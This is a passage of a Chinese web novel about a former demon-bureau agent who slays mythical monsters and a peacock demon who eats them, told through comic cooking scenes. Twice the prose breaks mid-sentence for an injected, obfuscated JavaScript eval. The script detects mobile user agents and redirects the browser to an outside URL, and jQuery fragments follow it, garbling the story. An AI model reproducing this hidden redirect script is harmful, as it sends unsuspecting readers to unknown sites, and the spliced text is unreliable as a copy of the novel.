视线之中出现了一对尖尖的鹿角,鹿角在人群中乱晃,时而冲撞时而踱步,被冲撞的人倒在地上,生死不知。 陆压掏出手机,手指利索地切换小号,点进了一个群里。 都说工作要退工作群,但是小号潜水也是很重要的。 陆压往上一划拉,几条消息映入眼帘。 :一只罴九从A1号辉诸山下来了,请清扫组和后勤组务必拦截![定位] :不行,它跑得太快,拦不住! :开启紧急状态,附近登记的妖族无论等级尽快前往支援!必要时可以使用特殊手段! :[定位][定位] …… 陆压的手机赫然弹出带红色感叹号的紧急窗口,他抬眼,与几个妖管局的熟人对上了眼。 “我去上个厕所,你待在这里不要走动。”陆压与孔宣交代一句,转身往二楼走。 “你要留我一个人在这吗?”孔宣还坐在原地,他似乎没有受到任何影响,甜滋滋地吃着自己的冰淇淋。 只有与陆压对视时,一双丹凤眼莫名锐利起来,瞥向陆压的目光玩味又戏谑。 “如果我是你的话,我才不出去!” 待在孔雀大王身边才是最安全的! 孔宣嘴角疯狂上扬,得意地飞速朝陆压暗示一眼:“我也可以陪你去上厕所哦。” 陆压:…… 一起上厕所就有点不妙了吧。 他飞快拒绝,并且承诺:“回来给你买冰淇淋。” 孔宣比了个发誓的手势。 陆压:“……我发誓。” 摆脱了孔宣,陆压从二楼的窗户直接翻出,他行动极为敏捷,如一尾游鱼,惯入人群消失不见。 在妖族同事的帮助下,所有人的眼睛都被妖术迷惑。 陆压从中走过,像是一柄出鞘的长剑,劈开人群,一步一步裹挟着万般杀机。 他的手臂上披着一件外衣,漫漫妖异顺着后背的纹路飞速向皮肤生长,不知名的树纹将枝条蔓延过手臂,鸟类的羽毛顺着外露的皮肤一根一根滋生。 他扣住自己的胳膊,硬生生地扒下一根黑羽,金色的血液点燃了他眼中的金芒,瞬间如藤蔓般绽开寸寸妖异。 一支飞羽如离弦的箭飞速射出,金弦巧妙从人群中绕过,直直贯穿了妖怪的脖子。 似鹿而只有一支角一只眼的罴九晃了晃,在所有人恐惧的目光中,如一座小山轰然倒塌,将大地震颤,彻底倒在地上不动。 贯穿血洞的黑羽逐渐消散,只剩下淡淡的金色消融在空中。 陆压轻描淡写地从人群中走过,挥挥手不留一丝痕迹。 这一瞬间,所有人安静无声。 只有网络上飞速刷新的帖子昭示着事件的结束。 #危险!来广市市中心有疯鹿撞人!# #来广市,疯鹿# #来广市发生了什么# 几个负责打扫战场的后勤组人员装成消防队员,齐刷刷地一哄而上,利索地开始处理这只怪物。 只是视线落在陆压身上时,即便共事这么多年,他们依旧感受到了浓重的恐惧。 “这就是清扫组的组长?看他的眼睛,他真的算是人类吗?” “就算是妖,下手也太绝情了。” “好恐怖,谁看到他怎么出手的?这种杀人机器真的可以相信吗?” …… 妖管局清扫组招人并不是社招,而是从军队,或是从小搜罗有天赋的孤儿统一进行培养,表面上是和正常人一样上学,背地里是军事化的灌输知识及技能。 以人力对妖力,以妖力压妖力,借力打力从来都是妖管局的宗旨。 唯独有一个例外。 年纪轻轻做到清扫组组长的陆压,是个实打实的异类。 他极可能是人妖混血,表面看起来是人,实际上妖力深不可测,无论多危险的妖物在他面前不堪一击。 忌惮与利用的同时,他也是被恐惧的异类。 陆压抖了抖外套, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647720|172783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他手臂上的妖纹已经褪去,拔羽的伤口也消失得无影无踪,只抖落了一些并不存在的灰尘。 “我出手很贵的,钱记得打我账上。” 他披上外套,轻描淡写地说完就走,没有一点停留。 “等等!”有妖管局的前同事叫住他。 陆压扭头,那人扭捏半天,只吞吞吐吐地问:“陆哥,你、你真的要退休开餐厅吗?” 他下一句想说什么,陆压一听就知道,不外乎是“局里很想返聘你”“给你升职加薪”。 裁员裁到大动脉了,出了半身血才想起来补救。 “记得打钱。”陆压再次提醒。 他养一只孔雀妖很贵的,妖管局根本养不起。 他头也不回,转身就走。 头顶的树梢动了动,从树枝缝隙中筛出一道稀碎的视线落在陆压身上。 孔宣不知道在那里看了多久,他坐在枝头,左手举着吃剩尖尖的甜筒脆,右手掐着一只青色的双头鸟,用塑料袋捆着翅膀,翠金色的羽毛似金属,不断地发出金属板“铮铮”的震动声,一张嘴尖锐的叫声像是长长的警示声。 陆压走过树下,绿叶在双头鸟的挣扎下簌簌往下掉落,他下意识地抬头,迅速与孔宣对上了眼。 陆压:“……你在这里做什么?” “唔啊——”孔宣左右看看,一把将双头鸟揣进怀里,像是抱宠物鸡似地托在双臂间,手装模作样地摸了两下。 一个说去上厕所,一个本该在麦麦吃冰淇淋。 孔宣理不直气也壮,张扬起眉头飞速反问:“你又在这里做什么?上厕所?” 他哼哼唧唧控诉,手里抱着鹖鸟磨磨蹭蹭地往下爬,脚在空中晃了晃,正要往下跳,正正好砸进陆压的怀里。 陆压扶了他一把,看见他的视线好奇地直往身后钻,他立刻挡在面前。 孔宣往左边钻,他就往左边遮,孔宣往右边看,他就往右边走。 一只死掉的妖对孔雀妖来说还是太超过了! 孔宣眼珠子一转:“你不想让我看?” 他嘴角飞速上扬,俨然一副拿捏住的表情,手装模作样地抱着鹖鸟摸了两把,一脸跃跃欲试。 不让干什么非要干。 陆压推着孔宣往外走:“走吧,我请你吃冰淇淋。” “吃两个。” “……不行。” “要三个。” “小心拉肚子。” “给四个。” “你还是吃两个吧。” …… 陆压苦口婆心,孔宣得寸进尺。 最终孔宣图穷匕见,一把举起怀里的鹖鸟:“吃这个!” 双头的鸟妖像是知道自己即将要下锅的命运,疯狂扇动翅膀,一双爪子在空中疯狂乱蹬,蹬出九阴白骨爪的残影,骂骂咧咧地鸣啼起来。 一听就骂得很脏。 陆压:“……冰淇淋你想吃哪四种口味?” 妖管局的同事发现不对,惊恐地发现还有一只妖怪在两人手中,连忙追上来:“等等——” 那个不能带回家啊! 孔宣把鸟一揣,拉着陆压就跑:“快走!” 风紧扯呼! 5. 第5章小煎鹖鸟肉2 “快走!” 孔宣拉着人就跑,还不忘回头冲追上来的妖管局员工使了个小绊子。 他指尖轻点,对方脚下一滑,平地摔进绿化带里。 孔宣狡黠一笑,正要如法炮制,突然被人攥紧了手。 陆压抓着他的手,眉眼认真地摇头,隽秀的眉眼因为总是下意识皱起而显得严肃冷峻,凶巴巴不近人情,此刻面对孔宣这恶作剧一般的做派,只剩下老实本分。 “走吧走吧。”回家吧孩子,回家吧。 两个人坐公交来的商业街,绿色出行骑自行车回的小店。 共享单车扫码骑行,该省省该花花。 陆压搭着孔宣骑回店里,小店前店后院,后门是弯弯绕绕的私人巷子院,正门就坐落在一条老街上,周围招牌林立,都是老居民。 孔宣抱着鹖鸟,率先一步跳下自行车后座,三两下跳到台阶上。 店门上夹着花花绿绿的宣传册,他很感兴趣地取下来,一个一个翻:“健身美容?重整雄风?” 陆压无言地把那些乱七八糟的宣传单抽走,只剩下最后一张,孔宣还没看完不让他拿,拿走了眼睛还跟着走,滴溜溜地看了一圈。 “贷款通知……?” “贷款是什么?你欠别人钱了吗?” 孔宣叽叽喳喳地问,陆压:? 他把单子翻到面上看了两眼:“是买房子的贷款。” 来广市不说寸土寸金,这栋有楼有院的房子也花光了他的存款,还贷了二十年。 妖管局工作虽然也算编制,但编制就免不了一个问题,工资低。 不裁退他给了笔补偿,他可能连首付都付不起。 这么残酷的现实,就算淡定如陆压,都不免感受到人世艰难。 听说现在人类社会买房子还要贷款还月供,从来都是钻进个山洞就睡觉、没有为钱发愁的京圈孔雀大王狠狠震惊了。 “人类的房子还要每个月给钱?” “钱很难挣吗?” “为什么人类努力打工还买不起房子?” …… 一连串的发问直击灵魂,陆压面无表情,一把捂住那张叨叨叨的小嘴:“好了,不许说了。” “我的员工,为了让老板尽早开上路虎,赶紧开始干活吧。” 刚刚还神采飞扬的小孔雀套上围裙,一脸茫然地左手拿抹布右手抓拖把。 陆压拍拍他的肩膀,试图CPU他:“没事擦擦桌子拖拖地,不要问我为你做了什么,要问你为我做了什么,干不好活店里就赚不到钱,赚不到钱就还不了贷款,还不了贷款就没钱包吃包住……” 周扒皮老板压榨可怜小孔雀.JPG 一顿CPU猛如虎,陆压拎着鹖鸟的脖子满意地进了厨房,只剩下被CPU的老实孔雀嘿咻嘿咻擦桌子。 陆压进去前,不忘把开店的牌子挂在门口。 他一把将双头鹖鸟扣在案板上,锋利的刀身映出他锐利的眉眼,菜刀在他手中转了一圈,很利索地给鸟抹了喉。 刚抹了一个,另一颗脑袋骂骂咧咧地尖叫停止了,它目瞪口呆地低头看看自己另一个头,再看看眼前持刀的刽子手,两眼一翻“嘎”晕过去了。 陆压很仁慈地给了它一个痛快。 烫皮撕毛,开膛破肚。 陆压手脚麻利,用菜刀飞速将不大的鸟去掉脑袋、屁股和爪子,将剩下的肉剁成大小相当的肉丁。 加清水洗去血水,沥干水分后加盐、鸡精等调料腌制调味,灌酒之前陆压飞速看了眼大厅嘿咻嘿咻擦桌子的小孔雀,从啤酒换成了料酒。 他起锅烧油,把腌好的肉倒进锅里煸炒,三两下就看不出具体的肉种,加入青红花椒爆香,加入泡椒、海椒和致死量的红色小米辣,没一会金黄色的菜肴瞬间被红油染色。 他再加一勺小米辣,一勺青椒,加入味精、鸡精、白糖翻炒,用料酒最后调味,蒜末点缀,起锅装盘。 顿时间,一股浓烈的辣香味扑面而来,像是一把小钩子,把孔宣钓得神魂颠倒,擦桌子已经不是现在的首要目标,他站在门边,张扬的眉眼眉飞色舞,急得直踮脚,巴巴往里面望。 嘴巴像是已经品尝到这股滋味了,一边咽口水一边嘀咕:“可恶,怎么还没开饭!” 已经要把他香迷糊了。 他馋得直挠门,爪子刺挠地抓着门“滋滋”挠,那眼巴巴的表情,像是有人亏待他了。 陆压飞速夹了一筷子给他,他巴巴张嘴嗷呜一口咬下,才入口,嘴角就止不住地疯狂上扬。 爆香爆辣的小煎鹖鸟肉味道又冲又猛,像是一团火,猛地席卷了所有味觉,在舌尖上跳舞。 刺激的辣味将肉丁包裹,在咀嚼时才能品尝到辣味之下酥软又焦脆的肉丁,切小的肉丁藏匿在通红的辣椒里,金黄与火红交织,就像是两种味道碰撞在一起,激起令人口水泛滥的火花。 肉丁外表酥脆,内里嫩滑,在唇齿间一抿,辣味先催促叫嚣着口水泛滥,又辣又爽的畅快让人忍不住吃了又吃。 孔宣已经觉得擦桌子也没什么好玩的了,他钻进厨房,一把抢过陆压手里的筷子,先给自己猛猛来了两筷子。 辣味刺激得他眼泪汪汪,即便如此,他还是忍不住夹着肉往嘴里送。 陆压抱着手臂在门边看他,他夹起一块肉,眼珠子一转,以迅雷不及掩耳之势飞速塞进陆压嘴里。 陆压下意识要吐出来,孔宣朝他扬眉,眉飞色舞的表情明媚张扬,狡黠灵动极了。 陆压稀里糊涂咽下,才反应过来自己又被迫吃了一块妖怪肉。 陆压:…… 并不是很想吃这种东西。 “我去喂鸟。”他翻出餐盒,打算把厨房让给孔宣。 没想到孔宣一把抢过他手里的餐盒,非常有兴趣地弯起眼睛:“我去!” “好吃的粮在哪——我是说,给小鸟吃的粮在哪?” 他欲盖弥彰,脸上的兴味遮都遮不住。 眼巴巴地跟着陆压的脚步,亦步亦趋地跟在他后面走,耐不住性子,躲在他背后不住探头探脑。 陆压准备的鸟粮有两种,一种是自己混的混杂谷物,一种是手搓鸟粮粒。 第一袋先拎出来时,孔宣显然对此不感兴趣,当第二袋拎出来时,他眼睛一亮,跟食堂打饭似地巴巴伸出手。 这一瞬间,陆压荒谬地觉得自己成了食堂打饭阿姨。 抖着手,一边抖鸟粮一边问:“够吗?够吗孩子。” 孔宣捧着碗,满脸都是对食物的渴望:“不够不够,再多一点!” 在他期待的目光下,陆压无情抖掉大部分鸟粮,添饭似地装了一大盒谷物,鸟粮只有三两颗。 孔宣:“……人,你好小气。” 陆压假装自己什么都没有听到,谨慎地给鸟粮上了锁。 瞬时间,孔宣的眼神像是着火般,气势汹汹地要把他点了。 人,小气! “小鸟不要吃太多鸟粮。” “胡说!” 孔宣气势汹汹地把餐盒摔回他怀里,他气得直哼哼,表示还是陆压自己去给小鸟送餐吧。 他要霸占一整盘小煎鹖鸟肉! 陆压:…… 这种东西到底谁在吃啊! 哦,他在吃。 陆压在换餐盒时突然顿住,他意味不明地盯上头顶那棵桃树上的喂食器,喂食器盖得严严实实,就是少了很多。 ——少了很多鸟粮。 手搓鸟粮和谷物混在一起,一般是吃多少漏多少,绝不会出现满满的谷物里没有一颗鸟食的情况。 想到之前孔宣站在桃树下,是谁干得已经不言而喻了。 他眯起眼睛,真相已经呼之欲出了。 面对陆压的指控,厨房里正吃得满嘴通红的青年懵了一瞬间,紧接着他的脸上出现了心虚、慌乱以及理不直气也壮。 孔宣一把将辫子拨到身后,做好战斗准备双手叉腰,理直气壮地大声呼呼:“怎么可能是我!人才不吃鸟粮!” 他气势汹汹,满脸被冤枉的愤慨,只是眼睛还是忍不住飘到旁边的餐盘上,红嘟嘟的嘴巴被辣肿了也不长记性。 趁着陆压被镇住了,他飞快地往嘴里扒拉两口,腮帮子鼓鼓囊囊的,瞪圆了一双眼睛,非常有气势。 陆压看似被唬住了,实则目光止不住地往他嘴上飘。 原本就漂亮的嘴巴红嘟嘟的,上面油光潋滟。 很…… 陆压滚了滚喉咙,一时间觉得手上的餐盒十分沉重。 这似乎让孔宣误会了,他飞速夹了一块肉丁塞给陆压,嘴巴嘟嘟囔囔的:“吃吃吃,吃了就不许说我了哦。” 陆压想拒绝,一开口就被塞一筷子肉,塞了几口,彻底堵住了他想开口说话的心思。 嘴里的肉嚼了两下,突然陆压神色一怔,下意识捂住肩膀,漫漫刺青不受控制地蜿蜒着爬过肩膀,在露出的皮肤上显现,展翅高飞的火鸟立于枝头,悄无声息地爬上他的手背。 正此时,一个声音从前店钻进,飞快吸引了孔宣视线。 “老大,哥!陆哥!我给你送妖管局的聘书来了!” “超大方的外聘协议哦~” 趁着孔宣扭头,陆压猛地背过身。 漫漫妖异在他眼中绽开,他颤抖着举起手臂,细细密密的黑色羽毛覆盖过皮肤,一瞬间铺满整条手臂。 “哥……诶?你是谁?” 吵吵闹闹的声音进来,陆压不动声色地捞起窗边的围裙遮住手臂,他垂着眼睛,嗓音低沉:“孔宣。” “嗯哼?”孔宣饶有趣味地撑着下巴,他探过脑袋,狡黠的眼神闪烁着,刻意戳了戳他的肩膀。 “你找来的狐狸精?” “……是前同事。” 陆压推开他,顺手用碟子将那叠小煎鹖鸟肉盖住,预防般攥着孔宣的手腕一起走出厨房。 厨房连通前后院,出了厨房,陆压眉眼冷峻,显得不近人情。 “你来干嘛?” 胡一良,全家唯一一个考上编制的狐狸精,之前在清扫组还没过实习期就遭到裁撤被调去了后勤组。 现在他理理领子,得意地哼哼几声,似牛郎般勾勾丢丢的帅脸仿佛在闪闪发光。 “老大我升职加薪调到人事组了。”他得意地扬起下巴,穿着西装打着领带,活像是个买保险的,从公文包里拿出合同时更像了。 他洋洋得意:“我可是带来了超级优越的外聘合同哦!” “老大你不愿意回来上班,组里一致决定,聘请你为外聘人员,出手价格很优越的哦~最重要的是!” 胡一良小心翼翼地从公文包里拿出一个戒指盒,打开里面是一颗形似李子的果实。 “这个是老大你今天出手的报酬,后面每次出手都会作为报酬供给你。” 孔宣探头看了两眼,表情古怪,偷偷在陆压耳边蛐蛐:“就这?就这?” 他还以为是什么好东西。 一颗沙棠果? 不如屈从他孔雀大王,三天吃九顿,保证顿顿吃好的。 孔宣靠得太近,似乎连呼吸都落在了陆压的耳边,他不适地偏了偏头,对于胡一良的劝说更是一只耳朵进一只耳朵出。 他无意识地扣住手臂,隔着薄薄的围裙,突然长出的羽毛悄然消去。 陆压解开围裙,只剩下一点淡淡的羽毛刺青蜿蜒在手臂上。 这是妖纹。 尽管陆压从小到大的体检都属于人的范畴,但他身上不正常的妖纹与强盛的妖力不会作假,他极有可能是人妖混血。 他的强盛并非没有代价。 如同从有限的泉中抽水,每一次的出手都会消耗他的本源,只有食用那些天材地宝作为新的力量补充进来,否则他只会耗尽妖力而死。 那些天材地宝补充进来的灵力有限,远远比不上消耗的速度。 妖管局已经无法在灵气衰竭的时代提供更多的天材地宝,何况妖管局的资源还要优先供给那些老怪物。 一颗沙棠果?妖管局还是一如既往地小气。 陆压冷眼旁观:“听起来很没诚意。” “有的有的,诚意肯定有的。”胡一良连忙打开文件巴巴地送上去:“你看你看,每次出手都会额外给钱的。” “哥,你这店都没有客人,光开餐厅能赚几个钱啊!” 孔宣“嗯嗯”点头,点着点着发现不对,惊讶地拖长尾音:“客人?” 什么客人?必须要有客人吗?不是开起来就赚钱吗? 孔雀大王亲自擦的桌子好吧! 人类还不顶礼膜拜? 陆压试图挽尊:“刚开业没客人很正常!” “真的?”孔宣面露狐疑。 “真的。” 陆压面色镇定,深邃认真的眉眼一派正经,格外唬人。 胡一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647721|172783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 良:“……真的有这么好的事吗?” 老大,创业容易赔钱的哇! 胡一良怎么来的,就怎么被赶走的。 孔雀大王得意地支棱着手臂,用挑剔的目光目送胡一良远去,他站在台阶上,像是站在王座上,俯视众生满眼傲气。 孔宣拍着胸脯颇为豪情壮志地跟陆压保证:“你放心,跟着我混,保证你三天吃九顿。” 陆压拎着一袋子青豆,坐在板凳上剥豆子,一边剥一边被孔宣摸走劳动成果,剥来剥去篮子里都没几颗。 他难言地拎着满是壳的袋子,再看看空空的篮子:“……跟你混三天饿九顿?” 是跟着他干吃鸟粮还是生吃豆子? 还有孔雀原来是杂食性动物吗?吃妖怪肉真的没问题吗? “真没品!”孔宣腮帮子鼓鼓的,咀嚼着青青的豆子,用眼神催促陆压快点伺候孔雀大王。 他撑着腮帮子,粉白的腮肉微微鼓起,一双漂亮的眼睛格外认真地盯着陆压的动作。 近距离下,陆压发现他的睫毛很卷,像是小扇子,扇动着在脸上落下一片阴影。 他无疑美丽张扬,像是某种共通审美下的绚丽贵物,穿着普普通通的衣服也遮不住满身的贵气,拨弄胸前发辫的动作非但不显得女气,更有从容不迫的镇定。 从容漂亮的孔雀大王眼皮微撩,斜飞的长眉张扬挑起,不高兴地大声指责:“你又不是没吃过,还怀疑这怀疑那,你怎么这么多疑啊!” 人,你很小气。 陆压:“……?” 确实有用,几口妖怪肉激得他妖纹都爬出来了,比一两颗灵果有效。 但。 他低头看看空荡荡的篮子,再看看已经空了的青豆口袋,一时间只感觉啼笑皆非。 喂了那么多豆子还小气吗? “你还是去喂小鸟吧。” 喂小鸟已经打动不了孔宣了,他无法理解人类是怎么从满满一勺鸟粮抖到只剩小猫两三颗的。 孔雀大王从鼻腔哼气,背着手假装没听见溜溜达达地转到后院。 陆压拿着一个餐盒姗姗来迟,他这次不手抖了,鸟粮和谷物一比一搅拌,他在后门的屋檐下放置了一个鸟类自动喂食器,身高够,直接拉开中间的餐盒满上。 他刻意把喂食器往里面推了推,引来了某大王控诉的目光。 陆压面不改色:“人不会吃鸟粮。” “人也不会吃像是变异的动物。” “人更不会生吃青豆。” …… 人类的规则太多,束缚到了性格张扬自由的孔雀大王,孔雀大王哼了一声,自由地表示自己不和愚蠢的人类计较。 孔宣背过身,假装什么都有没有听到。 可惜的是,直到晚上睡觉前,孔宣都没有机会跑到后院打野。 而且孔雀大王有了新的难题。 小院的房子一共有三层,第一层做了餐厅,第二层做了包厢,直到第三层才是居住区。 第三层只有两室一厅一卫,一个做了健身房,一个是陆压自己的房间。 于是,自由的孔雀大王不得不屈尊降贵和人一起睡。 在临睡觉前,陆压在柜子前站了一会,试图寻找到多余的被子。 然而孤单一人的单身男人能想到给床垫软垫就很不错了,他并没有多余的被子可以用来打地铺。 最后是孔宣收留了他,主动把被子分了一半。 孔宣抱着被子,美美躺在软被中,脑袋蹭了蹭,选择了一个舒服的姿势,脑袋靠在陆压僵硬的肩膀上。 被子掖到了他的颈下,他闭上眼睛,卷翘的羽毛低垂着,像是浓密的小翅膀,静静地停止了动弹。 孔宣睡觉时没有醒的时候那么闹腾张扬,意外地很乖,白嫩的皮肤看不见面孔,细腻得像是一卷被人精心画出的美人图。 陆压又在打量他了,尽管他试图冷酷地提醒告诉孔宣:“我不是gay。” “给?”孔宣睁开眼,一脸莫名其妙:“给什么?” “……我的意思是,我们靠得太近了。” 意外纯洁的孔宣张扬起眉头,眼中像是点燃着火焰,气势汹汹地瞪了他一眼,旋即赌气般裹着被子在床上滚了滚,一秒卷走所有被子滚到了床边。 很好,现在他们两个人中间至少隔了一条楚河界限。 陆压无声拽了拽被子,无果,只能可怜兮兮地将一件外套盖在身上。 他直挺挺地躺在床上,这一瞬间,他失去了被子,失去了喷洒在皮肤上持续而温热的呼吸,依靠在肩膀上的重量——很轻,可能是因为鸟类的骨头都是中空的? 孔宣朝他张扬起眉毛,斜飞的眉毛张扬又灵动,像是会在说“你满意了吧?”。 陆压突然觉得有点自食恶果了:“被子还是得分我一点吧?” 他一本正经地告诉孔宣:“晚上温差有点大。” 毛茸茸的大鸟是不会明白晚上从20度降到18度的温差对人类是有多不友好,尽管陆压曾经在极度危险的失温环境下存活过三天两夜。 “人,你真脆弱。” 孔宣嫌弃极了,像是一团毛毛虫,朝陆压的方向拱了两下,勉强把被子分给了他一个角。 折腾了这么一出,陆压再也不敢乱说话了,他只配盖一点点边角,等着漂亮的孔雀大王睡迷糊了滚进他怀里。 陆压在黑暗中睁开眼睛,彼时夜色深邃,孔宣的脑袋靠在他的肩膀上,毛茸茸地蹭着他的脖子。 他敏锐地听到了屋外传来的如同婴儿大声啼哭的声音,以及妇女责骂的声音。 一会儿啼哭一会儿责骂,伴随着轰然落下的大雨而显得越发明晰清楚,隐约靠近的声音一声一声灌入耳朵。 陆压摸出手机,从APP的同城翻到了可疑的帖子。 #求问:半夜听到有孩子在哭,但是我住的地方是单身公寓啊!没听说谁家有孩子,要出去看看吗?# 3l:听起来好可疑,不会是什么拐卖团伙吧? 4l:别开门千万别开门!楼主可以透过猫眼看一眼,先准备好随时报警! …… “咚咚咚——”稳定敲门的声音从楼下传来,婴孩啼哭的声音灌入耳朵。 陆压翻到了帖子最后。 lz:怎么办!外面是#%?≧×&¢ …… 487l:一个小时过去了,楼主还活着吗? 6. 第6章铁锅炖化蛇 “轰隆——” 难以预料到的大雨轰然从天空落下,急切地击打在窗户上,雨点落在玻璃敲击出一连串的声乐,急促而频繁的声响惊扰了一场美梦。 昏暗的房间内,平稳的呼吸猝然破碎,双眸紧闭的年轻人眉眼一颤,利落地睁开一双明亮的眼睛。光影在他眼底闪烁,他双眼晶亮,直白地与陆压对上眼睛。 陆压竖起一根手指,做了一个噤声的动作。 每到这个时候,他总是眉眼冷凝,平静与笃定的从容加诸在身。 他身姿矫健犹如一只胜券在握的野兽,悄无声息地落在地上,从床底下翻出一把管制枪械。 尽管这个国家禁止这类杀伤性武器已久,但曾经暴力机关的一员,陆压无疑对这类器具十分熟悉。 他不需要瞄准,甚至不需要足够的光彩,他的眼底总泛着璀璨的金色幽光。 就这么安静地无声地靠近窗边,就在这扇窗户下,诡异的婴孩啼哭与责骂声像是一场口技表演,伴随着急促的敲门声接二连三地响起。 “咚咚咚——” 黑漆漆的枪管从缝隙中探出,陆压十分冷静,连急促的雨点都不能让他的手颤抖分毫。 直到不属于自己的温度附着上手背,他猝然一颤,下意识地扭过头。 近在咫尺的绚丽在眼前绽放,孔宣显然睡得不好,那张张扬明媚的脸上满是不虞。 他靠得太近了,稍微踮起脚把下巴垫在陆压肩膀上,呼吸也近在咫尺。 他咬着牙,绷着下颚线条,用极轻极轻的语调和陆压抱怨:“前几天也是这么大的雨。” 陆压并不明白他在说什么,事实上,孔宣被吵醒的经历让他想到了前几天,就是这样大的雨。 他蜷曲在巢穴中,他睡得太久太久,在梦中听到了这样急促的雨,伴随着轰隆轰隆的震动声。 一座高山平底而起,从一座山的中间直直地将山顶穿。 消失的鲜山将一座山从中间挤压开,挤坏了孔宣的巢穴,直直地把他顶到山上,巨大的雨珠兜头砸在他的身上。 与此同时,一连串的雷鸣在头顶炸响,天道察觉到了不同寻常的气息,祂决不允许孔宣的苏醒,他原本应该在那座山里沉睡到死。 在孔宣睁开眼睛的那一瞬,漫天雷霆裹挟风雨直直地朝他劈来。 巨大的不悦与愤怒一瞬间点燃了孔宣的眼眸,他发出惊天动地的叫喊声,即便那声音藏入雷鸣。 “轰隆——” 无数怪异的生灵被他唤醒,他裹挟着万千雷霆飞入云层,又满身狼狈地坠落。 在遇见陆压的瞬时,他发出极度嘶哑的笑声,混杂在雨丝里,像是某种嘲讽般地抽泣。 人类拿着餐盒,里面是谷物和手搓的鸟粮,他仅仅是将餐盒放在地上,头顶的雨伞向浑身濡湿的绿孔雀倾斜,干燥温热的大手轻轻顺过绿孔雀的翅膀。 没有任何威胁与警惕,人类相当无害地为受伤的孔雀遮风避雨,甚至献上了贡品。 “不要客气,多吃一点。” 像是招待一位跋涉很久的贵客,人类的语气相当和缓。 以至于令孔宣都丧失了一点警惕。 想到这里,孔宣脸上的表情变得相当哀怨与愤怒。 面对楼下不断徘徊的黑色影子,更是怒从心头起,恶向胆边生。 他非常大胆地敞开窗户喊了一声:“喂!大晚上要不要睡觉你就在外面吵,吵个屁!” “再吵我弄死你!” 陆压触不及防,眼睁睁地看着那个徘徊的影子猝然抬起头。 像是某种神话中的生物,例如狮身人面兽或者其他什么怪物,那只怪物拥有一对翅膀,身形如一只豺狼,但它没有骨头似地在地上蠕动,长长的蛇尾拖拽在地上。 它张着嘴巴,不断地发出婴孩啼哭与女人斥骂的声音,隔着朦胧的雨丝变得模糊不清。 任凭是谁,在大晚上看见这么一个怪物,巨大的惊恐也会令人瞬间尖叫出声。 孔宣一点不怕,和这只怪物隔空对骂,像是一只随时准备战斗的愤怒小鸟。 这是一只化蛇,来自阳山的怪物。 陆压的脑中飞速转过曾经背读过的材料,按照山海经记载,这只怪物会引发巨大的洪水,带来前所未有的灾祸。 以这个降雨量,最多再过三个小时,低矮的城市区域就会被淹进一片雨水中。 暗杀已经没有用了。 他冷静地放下手中的枪,任由暗色的刺青蜿蜒过手臂,一点妖异在眼中层层裂开极为恐怖的暗色,他撑住窗户就要往下翻:“躲进屋子里别乱走。” 孔宣一把攥住他的胳膊,饶有兴趣地拦在陆压面前。 雨水打湿了他的眉眼,像是一朵俏立雨中的牡丹花,在黑暗中灼灼明艳。 “你吃过这种东西吗?” “看起来像蛇,吃起来却有点像鸡,骨头也相当少,不需要吐毛,稍微烧一烧皮就碳化了。” 孔宣显然很有趣味,他用非常玩味的口吻描述着这个怪物,像是在讨论明天吃什么。 陆压下意识看了一眼时间,他作息相当规律,并且不沉迷任何电子产品。 所以他们上床的时间是九点,现在是一点半,很多人的夜生活才刚刚中场休息。 他飞快定下了决定:“我们正好可以吃一个夜宵。” 陆压顿了顿:“尝一下你口中像蛇的鸡。” 孔宣脸上的神色一下子变得极为张扬,他挑起眉头,嘴角的笑容明媚极了,像是突然绽开的星光,明亮的双眼写满了高兴。 “就这么办。” 他利索点头,比陆压更快跳下了窗户。 大概三层楼的高度。 陆压下意识去拉,只触碰到他纷飞的衣角,和无情砸在脸上的雨珠。 冷冷的冰雨在陆压脸上胡乱地拍,他无声抹去雨水,突然有种自己成为孤寡老人的错觉。 ——也可能是某个独守厨房的寂寞厨子。 他默不作声地把枪收了起来,认命地去搬铁锅。 却说孔宣翻身下楼,他身姿轻巧,如一片羽毛直直地坠落门口,一出手毫不犹豫一拳揍上去。 他眼中星火明亮,没有任何工作感情全是私人恩怨。 “叫叫叫,叫你爹!” “我最讨厌下雨了!下你妈的雨!” “几个爹妈敢来惹我?全都给你杀咯!” “嗷嗷嗷!”化蛇被打得嗷嗷叫,翅膀疯狂扇动,尾巴疯狂在地上蠕动,被兜头落下的拳头砸得抱头鼠窜。 轰然落下的大雨快把孔宣淋成落汤鸡,孔宣捏着拳头,毫不客气地拧爆这只化蛇的蛇脑袋。 孔雀大王狠狠泻了一通脾气,只觉得浑身舒爽,他快快乐乐拎起化蛇的尾巴,突然察觉到什么,他眼眸斜睨,隔着深深雨幕直白地与陆压对上眼睛。 那一瞬间,他眼中的杀气与凶戾散去,反而亮起灼灼燃烧的火焰。 “快快快!烧水下锅!” 你说这人类哪折腾出这么好吃的做法? 孔雀大王难得对厨子露出一个好脸色,他飞扬着眉眼,脸上全是大胜的喜悦与美食即将入嘴的渴望。 拎着化蛇的尾巴一秒钻进厨房里。 怪物彻底被拉到灯光下,陆压有一瞬间在思考“豺狼算不算保护动物?”、“吃国一国二要判几年?”、“山海经的怪物算保护动物吗?”。 无果。 陆压选择手机先吃。 他摸出手机给怪物拍了几张死亡特写,并且上传给了胡一良。 可想而知,这只刚过实习期的狐狸精明天会怎么撒泼打滚要陆压上交国家。 “怎么吃?” 